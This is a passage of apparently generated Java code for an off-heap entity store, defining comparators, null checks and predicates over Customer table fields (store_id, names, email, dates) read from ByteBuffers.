final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_LAST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_LAST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case EMAIL : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_EMAIL - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_EMAIL - Integer.BYTES));
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_EMAIL);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_EMAIL);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" : return (aRef, bRef) -> Short.compare(
bufferFinder.apply(aRef).getShort(offsetFinder.applyAsInt(aRef) + FIELD_STORE_ID),
bufferFinder.apply(bRef).getShort(offsetFinder.applyAsInt(bRef) + FIELD_STORE_ID)
);
case "customer_id" : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_CUSTOMER_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_CUSTOMER_ID)
);
case "address_id" : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ADDRESS_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ADDRESS_ID)
);
case "active" : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ACTIVE),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ACTIVE)
);
case "create_date" : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_CREATE_DATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_CREATE_DATE)
);
case "last_update" : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_LAST_UPDATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_LAST_UPDATE)
);
case "first_name" : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + 0;
final int bStarts = bOffset + VARSIZE_BEGINS + 0;
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_FIRST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_FIRST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case "last_name" : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_LAST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_LAST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case "email" : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_EMAIL - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_EMAIL - Integer.BYTES));
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_EMAIL);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_EMAIL);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public BiLongToIntFunction comparatorNullsLast(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID : return (aRef, bRef) -> Short.compare(
bufferFinder.apply(aRef).getShort(offsetFinder.applyAsInt(aRef) + FIELD_STORE_ID),
bufferFinder.apply(bRef).getShort(offsetFinder.applyAsInt(bRef) + FIELD_STORE_ID)
);
case CUSTOMER_ID : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_CUSTOMER_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_CUSTOMER_ID)
);
case ADDRESS_ID : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ADDRESS_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ADDRESS_ID)
);
case ACTIVE : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ACTIVE),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ACTIVE)
);
case CREATE_DATE : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_CREATE_DATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_CREATE_DATE)
);
case LAST_UPDATE : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_LAST_UPDATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_LAST_UPDATE)
);
case FIRST_NAME : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + 0;
final int bStarts = bOffset + VARSIZE_BEGINS + 0;
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_FIRST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_FIRST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case LAST_NAME : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_LAST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_LAST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case EMAIL : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_EMAIL - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_EMAIL - Integer.BYTES));
final int aEnds = aBuf.getInt(aOffset + ENDPOS_EMAIL);
final int bEnds = bBuf.getInt(bOffset + ENDPOS_EMAIL);
if (aEnds < 0 && bEnds < 0) return 0;
else if (aEnds < 0) return 1;
else if (bEnds < 0) return -1;
else return ByteBufferUtil.compare(
aBuf, aStarts, aOffset + VARSIZE_BEGINS + aEnds,
bBuf, bStarts, bOffset + VARSIZE_BEGINS + bEnds
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" : return (aRef, bRef) -> Short.compare(
bufferFinder.apply(aRef).getShort(offsetFinder.applyAsInt(aRef) + FIELD_STORE_ID),
bufferFinder.apply(bRef).getShort(offsetFinder.applyAsInt(bRef) + FIELD_STORE_ID)
);
case "customer_id" : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_CUSTOMER_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_CUSTOMER_ID)
);
case "address_id" : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ADDRESS_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ADDRESS_ID)
);
case "active" : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ACTIVE),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ACTIVE)
);
case "create_date" : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_CREATE_DATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_CREATE_DATE)
);
case "last_update" : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_LAST_UPDATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_LAST_UPDATE)
);
case "first_name" : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + 0;
final int bStarts = bOffset + VARSIZE_BEGINS + 0;
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_FIRST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_FIRST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case "last_name" : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_LAST_NAME - Integer.BYTES));
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_LAST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_LAST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case "email" : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + (0x7fffffff & aBuf.getInt(aOffset + ENDPOS_EMAIL - Integer.BYTES));
final int bStarts = bOffset + VARSIZE_BEGINS + (0x7fffffff & bBuf.getInt(bOffset + ENDPOS_EMAIL - Integer.BYTES));
final int aEnds = aBuf.getInt(aOffset + ENDPOS_EMAIL);
final int bEnds = bBuf.getInt(bOffset + ENDPOS_EMAIL);
if (aEnds < 0 && bEnds < 0) return 0;
else if (aEnds < 0) return 1;
else if (bEnds < 0) return -1;
else return ByteBufferUtil.compare(
aBuf, aStarts, aOffset + VARSIZE_BEGINS + aEnds,
bBuf, bStarts, bOffset + VARSIZE_BEGINS + bEnds
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public LongToIntFunction compareToByte(final ColumnIdentifier<Customer> colId, final byte value) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type byte.", colId.getColumnId())
);
}
@Override
public LongToIntFunction compareToShort(final ColumnIdentifier<Customer> colId, final short value) {
if ("store_id".equals(colId.getColumnId())) {
{
final short operand = value;
return ref -> Short.compare(
bufferFinder.apply(ref).getShort(offsetFinder.applyAsInt(ref) + FIELD_STORE_ID),
operand
);
}
}
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type short.", colId.getColumnId())
);
}
@Override
public LongToIntFunction compareToInt(final ColumnIdentifier<Customer> colId, final int value) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case CUSTOMER_ID : {
final int operand = value;
return ref -> Integer.compare(
bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_CUSTOMER_ID),
operand
);
}
case ADDRESS_ID : {
final int operand = value;
return ref -> Integer.compare(
bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ADDRESS_ID),
operand
);
}
case ACTIVE : {
final int operand = value;
return ref -> Integer.compare(
bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ACTIVE),
operand
);
}
default : {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type int.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "customer_id" : {
final int operand = value;
return ref -> Integer.compare(
bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_CUSTOMER_ID),
operand
);
}
case "address_id" : {
final int operand = value;
return ref -> Integer.compare(
bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ADDRESS_ID),
operand
);
}
case "active" : {
final int operand = value;
return ref -> Integer.compare(
bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ACTIVE),
operand
);
}
default : {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type int.", _colName)
);
}
}
}
}
@Override
public LongToIntFunction compareToLong(final ColumnIdentifier<Customer> colId, final long value) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type long.", colId.getColumnId())
);
}
@Override
public LongToIntFunction compareToFloat(final ColumnIdentifier<Customer> colId, final float value) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type float.", colId.getColumnId())
);
}
@Override
public LongToIntFunction compareToDouble(final ColumnIdentifier<Customer> colId, final double value) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type double.", colId.getColumnId())
);
}
@Override
public LongToIntFunction compareToBoolean(final ColumnIdentifier<Customer> colId, final boolean value) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type boolean.", colId.getColumnId())
);
}
@Override
public LongToIntFunction compareToChar(final ColumnIdentifier<Customer> colId, final char value) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type char.", colId.getColumnId())
);
}
@Override
public LongToIntFunction compareToObject(final ColumnIdentifier<Customer> colId, final Object value) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case CREATE_DATE : {
final long operand = ((Timestamp) value).getTime();
return ref -> Long.compare(
bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_CREATE_DATE),
operand
);
}
case LAST_UPDATE : {
final long operand = ((Timestamp) value).getTime();
return ref -> Long.compare(
bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_LAST_UPDATE),
operand
);
}
case FIRST_NAME : {
final ByteBuffer tempBuffer = ByteBuffer.wrap(((String) value).getBytes());
final int tempSize = tempBuffer.capacity();
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
return ByteBufferUtil.compare(buffer,
offset + VARSIZE_BEGINS + 0,
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_FIRST_NAME),
tempBuffer, 0, tempSize
);
};
}
case LAST_NAME : {
final ByteBuffer tempBuffer = ByteBuffer.wrap(((String) value).getBytes());
final int tempSize = tempBuffer.capacity();
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
return ByteBufferUtil.compare(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_LAST_NAME - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_LAST_NAME),
tempBuffer, 0, tempSize
);
};
}
case EMAIL : {
final ByteBuffer tempBuffer = ByteBuffer.wrap(((String) value).getBytes());
final int tempSize = tempBuffer.capacity();
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
return ByteBufferUtil.compare(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_EMAIL - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_EMAIL),
tempBuffer, 0, tempSize
);
};
}
default : {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type object.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "create_date" : {
final long operand = ((Timestamp) value).getTime();
return ref -> Long.compare(
bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_CREATE_DATE),
operand
);
}
case "last_update" : {
final long operand = ((Timestamp) value).getTime();
return ref -> Long.compare(
bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_LAST_UPDATE),
operand
);
}
case "first_name" : {
final ByteBuffer tempBuffer = ByteBuffer.wrap(((String) value).getBytes());
final int tempSize = tempBuffer.capacity();
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
return ByteBufferUtil.compare(buffer,
offset + VARSIZE_BEGINS + 0,
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_FIRST_NAME),
tempBuffer, 0, tempSize
);
};
}
case "last_name" : {
final ByteBuffer tempBuffer = ByteBuffer.wrap(((String) value).getBytes());
final int tempSize = tempBuffer.capacity();
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
return ByteBufferUtil.compare(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_LAST_NAME - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_LAST_NAME),
tempBuffer, 0, tempSize
);
};
}
case "email" : {
final ByteBuffer tempBuffer = ByteBuffer.wrap(((String) value).getBytes());
final int tempSize = tempBuffer.capacity();
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
return ByteBufferUtil.compare(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_EMAIL - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_EMAIL),
tempBuffer, 0, tempSize
);
};
}
default : {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type object.", _colName)
);
}
}
}
}
@Override
public LongToIntFunction compareToNull(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID :
case CUSTOMER_ID :
case ADDRESS_ID :
case ACTIVE :
case CREATE_DATE :
case LAST_UPDATE : return ALWAYS_LESS;
case FIRST_NAME : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_FIRST_NAME) < 0 ? 0 : -1;
case LAST_NAME : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_LAST_NAME) < 0 ? 0 : -1;
case EMAIL : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_EMAIL) < 0 ? 0 : -1;
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" :
case "customer_id" :
case "address_id" :
case "active" :
case "create_date" :
case "last_update" : return ALWAYS_LESS;
case "first_name" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_FIRST_NAME) < 0 ? 0 : -1;
case "last_name" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_LAST_NAME) < 0 ? 0 : -1;
case "email" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_EMAIL) < 0 ? 0 : -1;
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public LongPredicate newPredicate(final ColumnIdentifier<Customer> colId, final EntityStorePredicate predicate) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_STORE_ID;
return predicate.test(buffer, begins, begins + Short.BYTES);
};
case CUSTOMER_ID : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CUSTOMER_ID;
return predicate.test(buffer, begins, begins + Integer.BYTES);
};
case ADDRESS_ID : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ADDRESS_ID;
return predicate.test(buffer, begins, begins + Integer.BYTES);
};
case ACTIVE : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ACTIVE;
return predicate.test(buffer, begins, begins + Integer.BYTES);
};
case CREATE_DATE : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CREATE_DATE;
return predicate.test(buffer, begins, begins + 8);
};
case LAST_UPDATE : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_LAST_UPDATE;
return predicate.test(buffer, begins, begins + 8);
};
case FIRST_NAME : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return predicate.test(buffer,
rowOffset + VARSIZE_BEGINS,
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_FIRST_NAME)
);
};
case LAST_NAME : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return predicate.test(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_LAST_NAME - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_LAST_NAME)
);
};
case EMAIL : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return predicate.test(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_EMAIL - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_EMAIL)
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_STORE_ID;
return predicate.test(buffer, begins, begins + Short.BYTES);
};
case "customer_id" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CUSTOMER_ID;
return predicate.test(buffer, begins, begins + Integer.BYTES);
};
case "address_id" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ADDRESS_ID;
return predicate.test(buffer, begins, begins + Integer.BYTES);
};
case "active" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ACTIVE;
return predicate.test(buffer, begins, begins + Integer.BYTES);
};
case "create_date" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CREATE_DATE;
return predicate.test(buffer, begins, begins + 8);
};
case "last_update" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_LAST_UPDATE;
return predicate.test(buffer, begins, begins + 8);
};
case "first_name" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return predicate.test(buffer,
rowOffset + VARSIZE_BEGINS,
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_FIRST_NAME)
);
};
case "last_name" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return predicate.test(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_LAST_NAME - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_LAST_NAME)
);
};
case "email" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return predicate.test(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_EMAIL - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_EMAIL)
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public LongToIntFunction newCompareTo(final ColumnIdentifier<Customer> colId, final EntityStoreCompareTo compareTo) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_STORE_ID;
return compareTo.compare(buffer, begins, begins + Short.BYTES);
};
case CUSTOMER_ID : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CUSTOMER_ID;
return compareTo.compare(buffer, begins, begins + Integer.BYTES);
};
case ADDRESS_ID : return ref -> {
